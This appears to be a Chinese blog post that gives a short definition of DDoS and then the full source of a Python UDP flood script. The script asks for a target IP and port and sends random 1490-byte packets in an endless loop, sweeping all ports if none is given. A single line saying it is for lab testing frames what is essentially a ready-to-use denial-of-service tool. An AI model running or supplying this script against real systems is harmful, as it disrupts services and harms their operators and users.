《Python 之 源代码 DDOS攻击》

仅用于实验之间的测试,不参与非法攻击

分布式拒绝攻击(英文意思是Distributed Denial of Service,简称DDoS)是指处于不同位置的多个攻击者同时向一个或数个目标发动攻击,或者一个攻击者控制了位于不同位置的多台机器并利用这些机器对受害者同时实施攻击。由于攻击的发出点是分布在不同地方的,这类攻击称为分布式拒绝服务攻击,其中的攻击者可以有多个。

# coding: utf8


print("Initializing...\n")

import socket

import random


# 构建socket通讯

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)


# 构建字节数据包

byte = random._urandom(1490)


try:

    ip = raw_input("IP Dress: ")

    port = raw_input("Port(Leave a blank to attack all of the ports): ")

except:

    ip = input("IP Dress: ")

    port = input("Port(Leave a blank to attack all of the ports): ")


if port == "":

    port = 1

    re = True

else:

    port = int(port)

    re = False


sent = 0


while True:

    sock.sendto(byte, (ip, port))

    sent = sent + 1

    print

    "Sent %s packet to %s throught port %s." % (str(sent), ip, str(port))


    if re:

        port = port + 1

    else:

        pass


    if port == 65534:

        port = 1

 

  • 3
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

你可知这世上再难遇我

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值